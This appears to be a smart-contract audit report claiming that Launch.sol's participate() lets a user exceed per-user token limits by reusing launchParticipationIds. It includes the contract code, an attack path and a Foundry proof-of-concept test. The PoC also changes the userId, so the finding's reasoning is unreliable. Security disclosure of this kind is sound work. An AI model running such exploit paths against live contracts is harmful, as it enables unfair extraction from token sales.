Tame Sapphire Mammoth

Medium

# Fairness disruption due to duplicate launch participation

### Summary

The lack of a proper uniqueness check in Launch.sol allows users to bypass the participation limit by using multiple launchParticipationIds, leading to unfair distribution and potential abuse of the launch allocation.



### Root Cause

```solidity
    function participate(ParticipationRequest calldata request, bytes calldata signature)
        external
        nonReentrant
        whenNotPaused
        onlyLaunchGroupStatus(request.launchGroupId, LaunchGroupStatus.ACTIVE)
    {
        // Validate request is intended for this launch and unexpired
        _validateRequest(
            request.launchId, request.launchGroupId, request.chainId, request.requestExpiresAt, request.userAddress
        );
        LaunchGroupSettings memory settings = launchGroupSettings[request.launchGroupId];

        // Validate launch group is open for participation
        _validateTimestamp(settings);

        // Validate request signature is from signer role
        _validateRequestSignature(keccak256(abi.encode(request)), signature);

        // Validate payment currency is enabled for launch group
        uint256 tokenPriceBps = _validateCurrency(request.launchGroupId, request.currency);

        // Do not allow replay of launch participation ID
        if (launchGroupParticipations[request.launchParticipationId].userId != bytes32(0)) {
            revert ParticipationAlreadyExists(request.launchParticipationId);
        }

        // If launch group does not finalize at participation, users should perform updates instead
        // This is checked by checking if the user has already requested tokens under the launch group
        EnumerableMap.Bytes32ToUintMap storage userTokens = _userTokensByLaunchGroup[request.launchGroupId];
        (, uint256 userTokenAmount) = userTokens.tryGet(request.userId);
        if (userTokenAmount > 0) {
            if (!settings.finalizesAtParticipation) {
                revert MaxUserParticipationsReached(request.launchGroupId, request.userId);
            }
        }

        // Validate user requested token amount is within launch group user allocation limits
        uint256 newUserTokenAmount = userTokenAmount + request.tokenAmount;
        if (newUserTokenAmount > settings.maxTokenAmountPerUser) {
            revert MaxUserTokenAllocationReached(
                request.launchGroupId, request.userId, userTokenAmount, request.tokenAmount
            );
        }
        if (newUserTokenAmount < settings.minTokenAmountPerUser) {
            revert MinUserTokenAllocationNotReached(
                request.launchGroupId, request.userId, userTokenAmount, request.tokenAmount
            );
        }

        // Calculate payment amount in requested currency based on token price and requested token amount
        uint256 currencyAmount = _calculateCurrencyAmount(tokenPriceBps, request.tokenAmount);

        // Store participation info for user
        ParticipationInfo storage info = launchGroupParticipations[request.launchParticipationId];

        // If launch group finalizes at participation, the participation is considered complete and not updatable
        if (settings.finalizesAtParticipation) {
            // Validate launch group max token allocation has not been reached
            (, uint256 currTotalTokensSold) = _tokensSoldByLaunchGroup.tryGet(request.launchGroupId);
            if (settings.maxTokenAllocation < currTotalTokensSold + request.tokenAmount) {
                revert MaxTokenAllocationReached(request.launchGroupId);
            }
            // Update total withdrawable amount for payment currency
            (, uint256 withdrawableAmount) = _withdrawableAmountByCurrency.tryGet(request.currency);
            _withdrawableAmountByCurrency.set(request.currency, withdrawableAmount + currencyAmount);
            // Mark participation as finalized
            info.isFinalized = true;
            // Update total tokens sold for launch group
            _tokensSoldByLaunchGroup.set(request.launchGroupId, currTotalTokensSold + request.tokenAmount);
        }
        // Set participation details for user
        info.userAddress = msg.sender;
        info.userId = request.userId;
        info.tokenAmount = request.tokenAmount;
        info.currencyAmount = currencyAmount;
        info.currency = request.currency;

        // Update total tokens requested for user for launch group
        userTokens.set(request.userId, newUserTokenAmount);
        // Transfer payment currency from user to contract
        IERC20(request.currency).safeTransferFrom(msg.sender, address(this), currencyAmount);

        emit ParticipationRegistered(
            request.launchGroupId,
            request.launchParticipationId,
            request.userId,
            msg.sender,
            currencyAmount,
            request.currency
        );
    }
https://github.com/dpm-labs/rova-contracts/blob/main/src/Launch.sol#L215L305
```
In Launch.sol, the function participate() only checks if a participation ID has been used before but does not validate if a user has already participated using a different launchParticipationId. This allows users to create multiple participations under different IDs and bypass participation limits.

### Internal Pre-conditions

- A user has already participated in a launch group with a valid launchParticipationId.
- The launch group has maxTokenAmountPerUser or maxUserParticipations constraints enabled.
- The user submits a new participation request with a different launchParticipationId but the same userAddress.
- The contract does not verify whether the msg.sender has already reached the maximum allocation.

### External Pre-conditions

- The launch group is still in the ACTIVE state.
- The token sale is oversubscribed, making it valuable to bypass restrictions.


### Attack Path

- The user initially calls participate() with a valid launchParticipationId and deposits tokens.
- Instead of updating the participation, the user calls participate() again but with a different launchParticipationId, effectively creating a new entry.
- The contract does not check if msg.sender has exceeded the allowed participation limit, allowing them to bypass the restriction.
- The attacker accumulates more tokens than allowed, gaining an unfair advantage in the launch.

### Impact

The launch groupâ€™s allocation system is compromised, leading to:

- Unfair distribution of tokens as some users can obtain more than the allowed limit.
- Potential manipulation of winner selection, reducing fairness for legitimate participants.
- Increased risk of oversubscription exploitation, where a malicious actor can take a disproportionate share of the launch allocation.
The attacker gains additional token allocations beyond their allowed limit, while other users lose opportunities to participate fairly.

```solidity
IERC20(info.currency).safeTransfer(info.userAddress, refundCurrencyAmount);
```
When transferring funds, the userAddress from the info struct is used

### PoC

```solidity
// SPDX-License-Identifier: GPL-3.0-only
pragma solidity ^0.8.22;

import {IERC20Errors} from "@openzeppelin/contracts/interfaces/draft-IERC6093.sol";
import {PausableUpgradeable} from "@openzeppelin/contracts-upgradeable/utils/PausableUpgradeable.sol";
import {Test} from "forge-std/Test.sol";
import {LaunchTestBase} from "./LaunchTestBase.t.sol";
import {Launch} from "../src/Launch.sol";
import {
    CancelParticipationRequest,
    LaunchGroupSettings,
    LaunchGroupStatus,
    ParticipationRequest,
    ParticipationInfo,
    CurrencyConfig
} from "../src/Types.sol";

contract LaunchParticipateTest is Test, Launch, LaunchTestBase {
    function setUp() public {
        _setUpLaunch();
    }

    function test_duplicate_participation() public {
        // Setup launch group
        _setupLaunchGroup();

        // First participation request
    
        ParticipationRequest memory request = ParticipationRequest({
            chainId: block.chainid,
            launchId: testLaunchId,
            launchGroupId: testLaunchGroupId,
            launchParticipationId: "cm6o2sldi00003b74facm5z9n",
            userId: "cm6o2tm1300003b74dsss1s7q",
            userAddress: user1,
            tokenAmount: 1000 * 10 ** launch.tokenDecimals(),
            currency: address(currency),
            requestExpiresAt: block.timestamp + 1 hours
        });
        bytes memory signature = _signRequest(abi.encode(request));
        vm.startPrank(user1);
        uint256 currencyAmount = _getCurrencyAmount(request.launchGroupId, request.currency, request.tokenAmount);
        currency.approve(address(launch), currencyAmount);
        vm.expectEmit();
        emit ParticipationRegistered(
            request.launchGroupId, request.launchParticipationId, testUserId, user1, currencyAmount, address(currency)
        );
        launch.participate(request, signature);

        // Verify participation
        ParticipationInfo memory info = launch.getParticipationInfo(request.launchParticipationId);
        assertEq(info.userAddress, user1);

        // Second participation request
        ParticipationRequest memory request1 = ParticipationRequest({
            chainId: block.chainid,
            launchId: testLaunchId,
            launchGroupId: testLaunchGroupId,
            launchParticipationId: "cm6o2sldi00003b74facm5z9k",
            userId: "cm6o2tm1300003b74dsss1s7k",
            userAddress: user1,
            tokenAmount: 1000 * 10 ** launch.tokenDecimals(),
            currency: address(currency),
            requestExpiresAt: block.timestamp + 1 hours
        });
        bytes memory signature1 = _signRequest(abi.encode(request1));
        vm.startPrank(user1);
        uint256 currencyAmount1 = _getCurrencyAmount(request1.launchGroupId, request1.currency, request1.tokenAmount);
        currency.approve(address(launch), currencyAmount1);
        vm.expectEmit();
        emit ParticipationRegistered(
            request1.launchGroupId, request1.launchParticipationId, "cm6o2tm1300003b74dsss1s7k", user1, currencyAmount1, address(currency)
        );
        launch.participate(request1, signature1);

        // Verify participation
        ParticipationInfo memory info1 = launch.getParticipationInfo(request1.launchParticipationId);
        assertEq(info1.userAddress, user1);

        vm.stopPrank();
    }
}
```

![Image](https://sherlock-files.ams3.digitaloceanspaces.com/gh-images/d4785e86-683a-4de0-a30d-45fb39495133)

### Mitigation

_No response_